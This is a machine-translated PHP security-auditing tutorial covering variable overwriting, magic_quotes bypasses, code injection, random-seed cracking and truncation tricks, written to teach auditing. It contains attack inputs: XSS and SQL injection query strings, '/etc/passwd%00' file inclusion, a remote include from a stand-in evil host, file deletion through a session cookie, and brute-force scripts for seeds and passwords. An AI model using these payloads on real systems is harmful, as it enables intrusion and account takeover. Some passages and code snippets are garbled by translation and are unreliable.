Home > Backend Development > PHP Tutorial > PHP Code Reviewing Learning_PHP教程

PHP Code Reviewing Learning_PHP教程

WBOY
Release: 2016-07-13 10:27:43
Original
1484 people have browsed it

Table of contents

Copy code
1. Foreword
2. Traditional code audit technology
3. PHP version and application code audit
4. Other factors and application code audit
5. Expand our dictionary
5.1 The key of the variable itself
5.2 Variable coverage
5.2.1 Traverse initialization variables
5.2.2 parse_str() variable coverage vulnerability
5.2.3 import_request_variables() variable coverage vulnerability
5.2.4 PHP5 Globals
5.3 magic_quotes_gpc and code security
5.3.1 What is magic_quotes_gpc
5.3.2 Which places are not protected by magic quotes
5.3.3 Encoding and decoding of variables
5.3.4 Second attack
5.3.5 New security issues brought about by magic quotes
5.3.6 Variable key and magic quotes
5.4 Code Injection
5.4.1 Functions in PHP that may cause code injection
5.4.2 Variable functions and double quotes
5.5 PHP’s own function loopholes and defects
5.5.1 PHP function overflow vulnerability
5.5.2 Other vulnerabilities in PHP functions
5.5.3 session_destroy() deletion file vulnerability
5.5.4 Random function
5.6 Special characters
5.6.1 Truncation
5.6.1.1 include truncation
5.6.1.2 Data truncation
5.6.1.3 Special characters in file operations
6. How to further search for new dictionaries
Copy code
1. Foreword
PHP is a widely used scripting language, especially suitable for web development. It is cross-platform, easy to learn, and powerful. According to statistics, more than 34% of websites around the world have PHP applications, including large portals such as Yahoo, Sina, 163, and sohu. And many well-known web application systems (including bbs, blog, wiki, cms, etc.) are developed using PHP, such as Discuz, phpwind, phpbb, vbb, wordpress, boblog, etc. As the hot spots of web security escalate, the code security issues of PHP applications have gradually become more and more popular. More and more security personnel are investing in this field, and more and more application code vulnerabilities have been disclosed.
In response to this situation, many application officials have established security departments or hired security personnel to conduct code audits. Therefore, many automated and commercial code audit tools have emerged. That is to say, this situation has led to a situation: the product safety factor of large companies has been greatly improved, those obvious loopholes have basically disappeared, and those auditing technologies that everyone knows are useless.
We are faced with many tools and codes that have been scanned n times by experts. Many security personnel are a little pessimistic, and some official security personnel are also very confident about their own code, but don’t forget that "there is no absolute security" , we should look for new ways to exploit new vulnerabilities. This article introduces some non-traditional technical experiences to share with you.
2. Traditional code audit technology
WEB application vulnerability hunting basically revolves around two elements: variables and functions. That is to say, to exploit a vulnerability, the malicious code you submit must be passed through variables through n variable conversions, and finally passed to the target function for execution. Do you remember MS’s classic saying? "All input is harmful."
This sentence only emphasizes variable input. Many programmers understand "input" as just gpc[GET,_POST,$_COOKIE], but the variables undergo n many changes during the transfer process. As a result, many filters are just "paper tigers"! Let's describe code safety in other words: "All variables entering a function are harmful."
The most commonly used PHP code audit technology is currently the main method: static analysis, mainly by looking for dangerous functions that can easily lead to security vulnerabilities. Commonly used search tools such as grep, findstr, etc., many automated tools also use regular expressions to search for these function. Here are some commonly used functions, which are the dictionaries mentioned below. However, it is difficult to find loopholes in basically existing dictionaries, so we need to expand our dictionaries, which are also the main topics of this article.
Other methods include: analyzing the variable flow by modifying the PHP source code, or hooking dangerous functions to audit the application code, but these also rely on the dictionary we mentioned above.
3. PHP version and application code audit
So far, there are three main versions of PHP: php4, php5, and php6. The usage ratio is roughly as follows:
php4 68% 2000-2007, No security fixes after 2008/08, the final version is php4.4.9
php5 32% 2004-present, Now at version 5.2.6 (PHP 5.3 alpha1 released!)
php6 Currently still in the testing phase, there have been many changes and a lot of modifications have been made, many security options such as magic_quotes_gpc have been canceled (this is not the scope of today’s discussion)
Due to the lack of automatic upgrade mechanism in PHP, current PHP versions coexist, which also leads to many existing vulnerabilities that have not been patched. These vulnerable functions are also the focus of our WEB application code audits and are also an important source of our dictionary.
4. Other factors and application code audit
Many code auditors just look at the code after they get it. They ignore that "security is a whole". Code security is related to many other factors, such as the PHP version we talked about above, and more importantly, the operating system. Type (mainly the two major camps win/*nix), WEB server software (mainly the two major types iis/apache) and other factors. This is because different systems and different WEB SERVERs have different security features or characteristics, which will be covered in some parts below.
So when we audit a company’s WEB application code, we should know the system they use, WEB server software, PHP version and other information.
5. Expand our dictionary
The following will introduce in detail some vulnerability types and exploitation techniques of some non-traditional PHP application code audits.
5.1 The key of the variable itself
When it comes to variable submission, many people only see the values ​​of variables submitted by users such as GET, POST, COOKIE, etc., but forget that some programs also extract the key of the variable itself as a variable and give it to the function for processing. Therefore, from the essence Generally speaking, the key value of the variable itself is also a member of the data input stream and should be included in the audit scope.
Copy code
//key.php?aaaa'aaa=1&bb'b=2
//print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key."n";
}
?>
Copy code
The above code extracts the key of the variable itself and displays it. For the above code, if we submit the URL:
http://localhost/test/key.php?<script>alert(1);</script>=1&bbb=2
This will lead to an xss vulnerability. To expand, what if this key is submitted to functions such as include() or sql query? :)
5.2 Variable coverage
Many vulnerability finders know that the extract() function can cause variable overwriting when the specified parameter is EXTR_OVERWRITE or no function is specified, but there are many other situations that lead to variable overwriting, such as: traversing initialization variables
Please see the following code:
Copy code
//var.php?a=fuck
$a='hi';
foreach($_GET as $key => $value)
{
$$key = $value;
}
print $a;
?>
Copy code
Many WEB applications use the above method, such as the code of the WAP part of Discuz! 4.1
Copy code
$chs = '';
if($_POST && $charset != 'utf-8')
{
$chs = new Chinese('UTF-8', $charset);
foreach($_POST as $key => $value)
{
$$key = $chs->Convert($value);
}
unset($chs);
...
Copy code
and common.inc.php for DEDECMS
Copy code
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
if($_k == 'nvarname')
{
${$_k} = $_v;
}
else
{
${$_k} = _RunMagicQuotes($_v);
}
}
}
Copy code
These code modules in CMS simulate and implement PHP’s local variable registration, which naturally introduces the same variable coverage security issues.
0x1: parse_str() variable coverage vulnerability
Copy code
//var.php?var=new
$var = 'init';
parse_str($_SERVER['QUERY_STRING']);
print $var;
?>
Visit:
http://localhost/test/var.php?var=new
Copy code
This function can also overwrite array variables. The above code extracts variables through $_SERVER'QUERY_STRING'. For specified variable names, we can overwrite other variables by injecting "=":
Copy code
//var.php?var=1&a[1]=var1%3d222
$var1 = 'init';
parse_str($a[$_GET['var']]);
print $var1;
?>
Visit
http://localhost/test/index.php?var=1&a[1]=var1%3d222
Copy code
The above code overwrites var1 by submitting var.
http://cn2.php.net/manual/zh/function.parse-str.php
0x2: import_request_variables() variable coverage vulnerability
Import GET/POST/Cookie variables into the global scope. This function is useful if you have disabled register_globals but still want to use some global variables.
http://www.php.net/manual/zh/function.import-request-variables.php
The vulnerabilities that this function may cause are as follows:
Copy code
//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
echo 'GLOBALS '.(int)ini_get("register_globals")."n";
import_request_variables('GPC');
if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1')
{
die('Go away!');
}
echo 'Hello admin!';
?>
Visit
http://localhost/test/var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
Copy code
5.3 magic_quotes_gpc and code security
First of all, we need to understand the version of magic_quotes_gpc
Valid before PHP 5.3.0
Deprecated since PHP 5.3.0
Removed starting from PHP 5.4.0, that is, no matter what settings are set, it will be invalid
When opened, all ' (single quote), " (double quote), (backslash) and NULL characters will be automatically escaped with a backslash. There are many functions with similar effects Such as: addslashes(), mysql_escape_string(), mysql_real_escape_string(), etc.
However, there are some places in PHP that are not protected by magic_quotes_gpc. It is important to realize this, because from the best practice of security control, the best way is to encapsulate certain types of security processing code blocks in In an API, and apply this API in all locations in the program that involve such risks. In theory, magic_quotes_gpc should also be like this, but in fact it is not. The variables in PHP that are not protected by magic_quotes_gpc are:
Copy code
1. $_SERVER variable
PHP5’s $_SERVER variable lacks the protection of magic_quotes_gpc, which has led to the explosion of X-Forwarded-For vulnerabilities in recent years. Therefore, many programmers consider filtering X-Forwarded-For, but what about other variables in the $_SERVER variable?
2. Variables obtained by getenv()
Similar to $_SERVER variable
3. $HTTP_RAW_POST_DATA and PHP input and output streams
For the main application and soap/xmlrpc/webpublish functions, please see the following code:
..
if ( !isset( $HTTP_RAW_POST_DATA ) )
{
$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
}
if ( isset($HTTP_RAW_POST_DATA) )
{
$HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
...
}
...
4. It is easy to forget places in database operations such as: in()/limit/order by/group by
if(is_array($msgtobuddys))
{
$msgto = array_merge($msgtobuddys, array($msgtoid));
 … 
foreach($msgto as $uid)
{
$uids .= $comma.$uid;
$comma = ',';
}
...
$query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m LEFT JOIN {$tablepre}memberfields mf USING(uid) WHERE m.uid IN
($uids)");
Copy code
In general, magic_quotes_gpc has two main problems
1. Injection caused by wide byte error
2. The coverage is incomplete and safety processing is not applied to all input variables in the program
So after PHP5.4, PHP stopped supporting magic_quotes_gpc, and encouraged developers to follow the best security development practices to process input variables.
0x1: Encoding and decoding of variables
The realization of many functions of a WEB program requires the encoding and decoding of variables, and it can quietly bypass your filtering security defenses during this transfer process.
The main functions of this type are:
Copy code
1. stripslashes()
This is actually a decode-addslashes()
2. Other string conversion functions:
1) base64_decode Decode data encoded using MIME base64
2) base64_encode Use MIME base64 to encode data
3) rawurldecode Decode the encoded URL string
4) rawurlencode Encode URL according to RFC 1738
5) urldecode Decode the encoded URL string
6) urlencode encode URL string
...
3. unserialize/serialize
4. Character set functions (GKB, UTF7/8...)
1) iconv()
2) mb_convert_encoding()
Copy code
There are no obvious vulnerabilities in the variables and coding themselves. The problem it brings is that it will hide the attacker’s payload intention, causing the failure of defense strategies such as WAF and IDS.
0x2: New security issues caused by magic quotes/escaping
First, let’s take a look at the processing mechanism of magic quotes:
1. -->\
2. '-->'
3. "-->"
4. null-->
This introduces us to a very useful symbol "". The "" symbol is not only an escape symbol, but also a directory jump symbol under the WIN system (only the content after "" is intercepted). This feature can lead to very interesting vulnerabilities in PHP applications:
Copy code
1. Get the original character
...
$order_sn=substr($_GET['order_sn'], 1);
//Submit "
//Magic quotation processing "
//substr             '              
$sql = "SELECT order_id, order_status, shipping_status, pay_status, ". " shipping_time, shipping_id, invoice_no, user_id ". " FROM " .
$ecs->table('order_info'). " WHERE order_sn = '$order_sn' LIMIT 1";
2. Get the "" character
...
$order_sn=substr($_GET['order_sn'], 0,1);
//Submit               '
//Magic quotation processing "
//substr                                                
$sql = "SELECT order_id, order_status, shipping_status, pay_status, ". " shipping_time, shipping_id, invoice_no, user_id ". " FROM " .
$ecs->table('order_info'). " WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'";
..
Submission content:
?order_sn='&order_tn=%20and%201=1/*
The executed SQL statement is:
SELECT order_id, order_status, shipping_status, pay_status, shipping_time, shipping_id, invoice_no, user_id FROM order_info WHERE
order_sn = '' and order_tn=' and 1=1/*'
Copy code
5.4 Code Injection
0x1: Functions in PHP that may cause code injection
APIs in PHP that may cause code injection are:
Copy code
1. eval
2. preg_replace+/e
3. assert()
4. call_user_func()
5. call_user_func_array()
6. create_function()
7. Variable function (dynamic function)
...
Copy code
For example:
Copy code
//how to exp this code
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
        ';
usort($databases, create_function('$a, $b', $sort_function));
Copy code
0x2: variable function and double quotes
We need to carefully understand the difference between single quotes and double quotes, such as
echo "$an";
echo '$an';
?>
Let’s look at the following code:
//how to exp this code
if($globals['bbc_email'])
{
$text = preg_replace( array("/[email=(.*?)](.*?)[/email]/ies", "/[email](.*?)[/email]/ies "), array('check_email("$1", "$2")', 'check_email("$1", "$1")'), $text);
In addition, many applications use "" to store variables in cache files or config or data files, and load them in through Include when they need to be used. In this way, if the loaded file is a variable function (such as $ {${...}}), which makes it easy for someone to inject variable functions and then execute the code.
5.5 PHP’s own function loopholes and defects
0x1: Overflow vulnerability in PHP function
Do you still remember the Month of PHP Bugs project by Stefan Esser? The more famous one is unserialize(), the code is as follows:
unserialize(stripslashes(HTTPCOOKIEVARS[cookiename . '_data']);
In previous PHP versions, many functions have experienced overflow vulnerabilities, so when we audit application vulnerabilities, we should not forget the PHP version information used by the test target
http://www.php-security.org/
0x2: session_destroy() deletion file vulnerability
Test PHP version: 5.1.2 This vulnerability was discovered by my friend saiy a few years ago. The function of the session_destroy() function is to delete the session file. The logout function of many web applications directly calls this function to delete the session, but this The function lacks filtering in some older versions, allowing arbitrary files to be deleted. The test code is as follows:
Copy code
//val.php
session_save_path('./');
session_start();
if($_GET['del'])
{
session_unset();
session_destroy();
}
else
{
$_SESSION['hei']=1;
echo(session_id());
print_r($_SESSION);
}
?>
Copy code
When we submit the constructed cookie: PHPSESSID=/../1.php, it is equivalent to unlink('sess_/../1.php'), which will delete any file by injecting the ../jump directory. Certain versions of many well-known programs are affected, such as phpmyadmin, sablog, phpwind3, etc.
0x3: Random function
Generally speaking, there are two types of vulnerabilities related to random numbers in PHP and other languages:
1. Random number ciphertext space length problem
2. Random generator seed problem
1. Random number ciphertext space length problem: rand() VS mt_rand()
//on windows
print mt_getrandmax(); //2147483647
echo "
";
print getrandmax();// 32767
?>
It can be seen that the maximum random number of rand() is 32767, which is easily cracked by us.
Copy code
$a= md5(rand());
for($i=0;$i<=32767;$i++)
{
if(md5($i) ==$a )
{
                                                                                                          print $i."-->ok!!
";
exit;
}
else
{
                                                                              print $i."
";
}
}
?>
Copy code
When our program uses rand to process the session, it is easy for the attacker to crack your session with brute force, but it is difficult to use pure brute force with mt_rand.
Of course, everything is not absolute. We say that mt_rand() is more resistant to exhaustion based on the fact that the attacker has no prior knowledge of the target random system. Let’s consider the following scenario:
For example, the following code, its logic is that when the user retrieves the password, the system will randomly generate a new password and send it to the user's email:
Copy code
function sendPSW()
{
....
$messenger = &$this->system->loadModel('system/messenger');
echo microtime() . "
";
$passwd = substr(md5(print_r(microtime(), true)), 0, 6);
}
Copy code
We found that this newly generated passwd is obtained by directly calling microtime() and taking the first 6 digits of its MD5 value. Since MD5 is a one-way hash function, you only need to traverse the value of microtime() and then follow the same algorithm (this is the idea of ​​​​reverse algorithm) to guess the value of passwd.
Microtime() in PHP has two values ​​combined, one is the number of microseconds and the other is the current seconds of the system.
http://www.w3school.com.cn/php/func_date_microtime.asp
So you only need to get the system time of the server, and you can use this time as the "base" and increase it in order to guess the newly generated password. Therefore, this algorithm has a very serious design flaw. The randomly generated password expected by the programmer is not actually random.
In this case, the line before generating the password directly calls microtime() and returns it to the current page, which in turn allows the attacker to obtain server time at a very low cost; and microtime() is called twice The time interval is very short, so it must be within the same second. The attacker only needs to guess the number of microseconds.
(Thinking: The most important prerequisite for an attacker to use the weak randomness vulnerability of microtime() to perform exhaustive enumeration based on time "base" is that the attacker needs to obtain the system time of the server, that is, to launch an attack We need to get the time as close to the key point as possible before, for example, microtime() will be taken once at the moment when the cookie is generated. The purpose of our attacker is to "exhaustively" get the microtime() at the moment when the cookie is generated. , in order to achieve this goal, we must get as close to the value point as possible in order to effectively perform "time" exhaustive enumeration. Otherwise, if the time interval is too large, exhaustive enumeration will be very inefficient. Alerts may also be triggered)
Be sure to pay attention to this before sending an attack, because each attack generally has some necessary conditions.
http://www.w3school.com.cn/php/func_date_microtime.asp
If called without optional parameters, this function returns a string in the format "msec sec", where sec is the number of seconds since the Unix epoch (0:00:00 January 1, 1970 GMT) , msec is the microsecond part. Both parts of the string are returned in seconds.
0.68454800 1382964876
0.68459400 1382964876
We found that the following "seconds part" is basically the same (to achieve this point, the attacker needs to be able to obtain the microtime near the key). What we have to do is to continue to exhaust the previous millisecond part.
Copy code
//The function of this output is to simulate the time when the attacker obtains a key point
$timebase = microtime();
print_r($timebase . "n");
//Key point, where "key" is generated based on microtime
$passwd = substr(md5(print_r(microtime(), true)), 0, 6);
//Start the exhaustive search
for($i = 15000;;$i++)
{
$tmp = substr(md5(print_r($timebase + $i, true)), 0, 6);
print_r($tmp . "n");
if($passwd == $tmp)
{
                print_r("Found The Key: " . $tmp . "n");
break;
}
}
print_r($passwd);
?>
Copy code
2) Random generator seeding problem: mt_srand()/srand()-weak seeding(by Stefan Esser)
Pseudo-random numbers are implemented by mathematical algorithms, and what makes them truly random is the "seed". Once the seed is determined, the value of the random number calculated through the same pseudo-random number algorithm is fixed, and the order of the values ​​obtained from multiple calculations is also fixed (that is, as long as the seed is the same, the pseudo-random number generated thereafter will The random number sequence is the same).
In versions before PHP 4.2.0, rand() and mt_rand() need to be "seeded" through srand() or mt_srand().
In versions after PHP 4.2.0, it is no longer necessary to "seed" in advance through srand() and mt_srand().
We can call mt_rand() directly and the system will automatically seed. But sometimes, in order to be compatible with previous PHP versions, programmers often write like this in PHP code
mt_srand();
mt_srand((double) microtime() * 100000);
mt_srand((double) microtime() * 1000000);
mt_srand((double) microtime() * 10000000);
This way of writing seeds is actually flawed. Not to mention that time() can be known by attackers, the range of seeds obtained by using microtime() is actually not very large.
0 < (double) microtime() < 1
----->
0 < (double) microtime() * 1000000 < 1000000
The range of changes is between 0~1000000, and all seeds can be traversed by guessing 1 million times.
In versions after PHP 4.2.0, if the seed is not specified through the seeding function and mt_rand() is called directly, the system will allocate a default seed (the default does not refer to a fixed value, this value is also random) . The default maximum seed value on 32-bit systems is 2^32, so you only need to try 2^32 times at most to crack the seed.
If it is in the same process (apache cannot be restarted), the value generated by mt_rand() for the same seed (this is a key premise) is fixed each time.
Copy code
mt_srand(1);
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
?>
1244335972
15217923
1546885062
2002651684
2135443977
1865258162
1509498899
2145423170
Copy code
The results obtained by multiple visits are the same, that is to say, when the seed is determined, the values ​​generated by mt_rand() 1~N times have not changed.
Based on this basis, a feasible attack method against random number seeds can be obtained:
1) Guess the value of the seed through exhaustive methods
2) Sow the guessed seed value through mt_srand()
3) Calculate the value of the pseudo-random number generated by mt_rand() by restoring the program logic
Copy code
mt_srand((double) microtime() * 1000000);
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
?>
You will get a different random value every time you visit, because the seed changes every time.
Assume that the attacker knows the value of the first random number: 154176006 (This is very common in actual situations, that is, the attacker can only obtain a part of the value in the pseudo-random sequence and has to guess the remaining values) , how to guess the remaining random numbers? Just guess the currently used seed.
if($seed = get_seed())
{
echo "seed is: " . $seed . "n";
mt_srand($seed);
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
echo mt_rand() . "
";
}
//The logic of the reverse algorithm, guess the seed value
function get_seed()
{
for($i = 0; $i < 1000000; $i++)
{
mt_srand($i);
//mt_rand(); Corresponds to the number of times mt_rand() is called. In actual attacks, the attacker must confirm in advance
$str = mt_rand(); //In this example, mt_rand() is called for the first time
//Compare the values ​​of random numbers
if($str == 154176006)
           {
// Return to find the seed Seed value
              return $i;
      }
return false;
}
}
?>
seed is: 345466
154176006
1557534108
1434505522
563902658
470748912
1976227824
1450875174
1698782154
Copy code
To combat this attack, do not input the complete pseudo-random tree when outputting. For example, if it is originally 1450875174, then truncate it and output only the truncated number. In this way, the attacker cannot derive the pseudo-random tree from the obtained pseudo-random tree. The result of the counting is inferred as seed
Stefan Esser also mentioned a little trick in his article. You can force the server to use the same PHP process to respond to the request by sending a Keep-Alive HTTP header. In this PHP process, the random number will only be used in one place. Start sowing seeds once.
In a web application, there are many places where random numbers can be obtained, thereby providing the possibility of guessing the seed. Stefan Esser provided an idea of ​​"Cross Application Attacks", which is to guess the random values ​​generated by other applications through the random values ​​returned by the previous application on the page.
mt_srand((double) microtime() * 1000000);
$search_id = mt_rand();
If the server returns $search_id to the page, the attacker may guess the current seed.
Copy code
This analysis and reflection on the Discuz user password change POC that I analyzed before
http://www.freebuf.com/articles/web/12088.html
The principle is similar
1) The attacker can obtain one of the pseudo-random sequences
2) The attacker must determine which value in the pseudo-random sequence (i.e. sequence number) the value he obtains is
3) Use the reverse algorithm to exhaustively enumerate the seeds used for this pseudo-random number
4) Use this seed to generate other pseudo-random numbers
Copy code
This kind of attack is indeed feasible. For example, if WordPress and PhpBB are installed on a server at the same time, you can use phpBB to guess the seed, and then use WordPress’s password retrieval function to guess the newly generated password. Stefan Esser describes the attack process as follows:
Copy code
1) Search the phpBB2 forum for the string 'a' using Keep-Alive HTTP request;
2) The search will inevitably produce a lot of results, and the search_id will also be leaked;
3) It is easy to guess the seed of the random number through this value (you can use phpBB’s native generation algorithm to reversely derive the seed)
4) The attacker still uses the Keep-Alive HTTP header to send a request to reset the admin password to the WordPress Blog;
5) WordPress mt_rand() generates a confirmation link and sends it to the administrator’s email;
6) The attacker can construct this confirmation link based on the calculated seed;
7) The attacker confirms this link (still using the Keep-Alive header) and WordPress will send the newly generated password to the administrator's email;
8) Because the new password is also generated by mt_rand(), the attacker can still calculate it;
9) The attacker finally obtained the new administrator password
Copy code
5.6 Special characters
0x1: Truncate
The most famous one is the null character truncation that everyone is familiar with
0x2: include truncation
include $_GET['action'].".php";
?>
Submitting "%00" in "action=/etc/passwd%00" will truncate the following ".php"
In addition to "%00", "pseudo truncation" can also be achieved by submitting "action=http://www.hacksite.com/evil-code.txt?"here"?".
In addition to using the parameter separation in the WEB request to perform "pseudo truncation", you can also truncate over-long strings, that is, by injecting over-long strings to squeeze out the original second half of the content
Copy code
/////////////////////
////var5.php code:
////include $_GET['action'].".php";
////print strlen(realpath("./"))+strlen($_GET['action']);
////////////////////
ini_set('max_execution_time', 0);
$str='';
for($i=0;$i<50000;$i++)
{
$str=$str."/";
$resp=file_get_contents('http://127.0.0.1/test/index.php?action=1.txt'.$str);
//The code in 1.txt is print 'hi';
if (strpos($resp, 'hi') !== false)
{
                print $i;
exit;
}
}
?>
Copy code
After testing, the characters ".", "/" or a combination of 2 characters will be truncated at a certain length. The system lengths of win system and *nix are different. When win, strlen(realpath("./ "))+strlen($_GET['action']) is truncated when the length is greater than 256. For *nix, the length is 4 * 1024 = 4096. When setting remote files to be closed in php.ini, you can use the above techniques to include local files
0x3: Data truncation
For many web application files, duplicate data is not allowed in many functions, such as user registration functions, etc. Generally, applications compare the username submitted for registration with the username already in the database to see if there is duplicate data. However, we can use "data truncation" to avoid these judgments. The database generates truncation during processing, resulting in the insertion of duplicate data.
Copy code
1) Mysql SQL Column Truncation Vulnerabilities
This is because when the sql_mode of mysql is set to default, that is, when the STRICT_ALL_TABLES option is not turned on, MySQL will only prompt a warning instead of an error when inserting an overly long value (if it is an error, the insertion will not be successful), which may cause Causing some truncation issues. The test is as follows:
mysql> insert into truncated_test(`username`,`password`) values("admin","pass");
mysql> insert into truncated_test(`username`,`password`) values("admin             x", "new_pass");
Query OK, 1 row affected, 1 warning (0.01 sec)
mysql> select * from truncated_test;
+----+----------------+----------+
| id | username | password |
+----+----------------+----------+
| 1 | admin | pass |
| 2 | admin | new_pass |
+----+----------------+----------+
2 rows in set (0.00 sec)
2) Mysql charset Truncation vulnerability
When mysql stores and processes data such as utf8, certain characters cause data truncation. The test is as follows:
mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2");
Query OK, 1 row affected, 1 warning (0.00 sec)
mysql> select * from truncated_test;
+----+----------------+----------+
| id | username | password |
+----+----------------+----------+
| 1 | admin | pass |
| 2 | admin | new_pass |
| 3 | admin | new_pass2 |
+----+----------------+----------+
2 rows in set (0.00 sec)
Many web applications do not consider these issues and simply query whether the data contains the same data before storing the data, as shown in the following code:
$result = mysql_query("SELECT * from test_user where user='$user' ");
....
if(@mysql_fetch_array($result, MYSQL_NUM))
{
die("already exist");
}
Copy code
Both of these vulnerabilities may lead to repeated account registration, administrator account privilege escalation and other vulnerabilities.
0x4: Special characters in file operations
There are many special characters in file operations that play special roles. Many web applications do not pay attention to handling these characters, causing security issues. For example, many people know that Windows system file names ignore "spaces" and ".", etc. This is mainly reflected in uploading files or writing files, resulting in writing webshell directly. In addition, for Windows systems, perform system jumps on "..." and so on. For example:
Copy code
..
//Is this code vul?
if( eregi(".php",$url) )
{
die("ERR");
}
$fileurl=str_replace($webdb[www_url],"",$url);
.....
header('Content-Disposition: attachment; filename='.$filename);
Copy code
Many people have seen the problem with the above code. The program first prohibits the use of the ".php" suffix. But below, a str_replace is actually connected to replace webdbwwwurl as empty, so we can spare it by submitting ".pwebdbwww_urlhp". So what about the above code miscellaneous fixes? Someone gave the following code:
Copy code
..
$fileurl=str_replace($webdb[www_url],"",$url);
if( eregi(".php",$url) )
{
die("ERR");
}
Copy code
str_replace was mentioned earlier, which perfectly solves the security problem of str_replace code, but the problem is not that simple. The above code can also break through on some systems. Next, let’s take a look at the following code:
Copy code
for($i=0;$i<255;$i++)
{
$url = 'index.ph'.chr($i);
$tmp = @file_get_contents($url);
if(!empty($tmp)) echo chr($i)."rn";
}
?>
ok
Copy code
We run the above code on the windows system and get the following characters
1. <
2. >
3. P
4. p
You can open index.php in the directory. This can be bypassed as a file extension idea.
6. How to further search for new dictionaries
We have listed many dictionaries above, but many of them are vulnerabilities or methods that have been disclosed. So how do we further find new dictionaries or exploit methods?
1. Analyze and learn from vulnerabilities or exploits discovered by others, and summarize vulnerability types and dictionaries
2. Discover new harmful functions or exploitation methods by studying PHP manuals or official documents
3. Fuzz php functions to find new problematic functions (not necessarily overflows). There are many problems that can be tested with simple fuzz scripts
4. Analyze the PHP source code and discover new vulnerable function "features" or vulnerabilities. If you want to further find new dictionaries, you can analyze the causes based on the PHP source code, and then analyze and find new ones based on the causes. A vulnerability function "feature" or vulnerability.
5. If you have the conditions or opportunity to learn from developers, find the flaws or easily overlooked problems in their codes that implement certain common functions

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/815134.htmlTechArticleContents Copy code 1. Preface 2. Traditional code audit technology 3. PHP version and application code audit 4. Others Factors and application code audit 5. Expanding our dictionary 5.1 The variable itself...
Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template